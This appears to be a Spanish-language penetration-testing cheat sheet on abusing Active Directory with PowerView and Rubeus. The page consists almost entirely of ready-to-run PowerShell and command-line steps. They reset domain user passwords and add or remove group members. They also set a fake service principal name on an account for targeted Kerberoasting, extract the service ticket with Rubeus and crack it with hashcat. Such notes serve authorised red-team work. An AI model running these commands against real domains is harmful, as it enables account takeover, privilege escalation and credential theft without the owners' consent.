Usuarios y grupos
Autenticación de usuario contra el dominio
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)Cambio de contraseña de usuario de dominio
Autenticación de usuario contra el dominio.
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)Importación de módulo PowerView.
Import-Module .\PowerView.ps1Cambio de contraseña de usuario de dominio.
$NewUserPassword = ConvertTo-SecureString "<new-user-password>" -AsPlainText -Force
Set-DomainUserPassword -Identity "<user>" -AccountPassword $NewUserPassword -Credential $UserCredential -VerboseAgregar y eliminar usuario a grupo de dominio
Autenticación de usuario contra el dominio.
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)Importación de módulo PowerView.
Import-Module .\PowerView.ps1Agrega usuario a grupo de dominio.
Add-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -VerboseEliminar usuario de un grupo de dominio.
Remove-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -VerboseConfirmación de eliminación de usuario de un grupo de dominio.
Get-DomainGroupMember -Identity "<group-name>" | Select MemberName |? {$_.MemberName -eq "<user>"} -VerboseCreación de Service Principal Names (SPN) falso
Autenticación de usuario contra el dominio.
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)Creación de Service Principal Names (SPN) falso.
Set-DomainObject -Credential $UserCredential -Identity "<user>" -SET @{serviceprincipalname='SPN/fake'} -VerboseObtener Ticket Granting Service (TGS).
.\Rubeus.exe kerberoast /user:<user> /nowrapCracking de Ticket Granting Service (TGS).
# RC4 / $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
# AES-128 / $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
# AES-256 / $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>Eliminación de Service Principal Names (SPN) falso.
Set-DomainObject -Credential $UserCredential -Identity "<user>" -Clear serviceprincipalname -VerboseÚltima actualización
¿Te fue útil?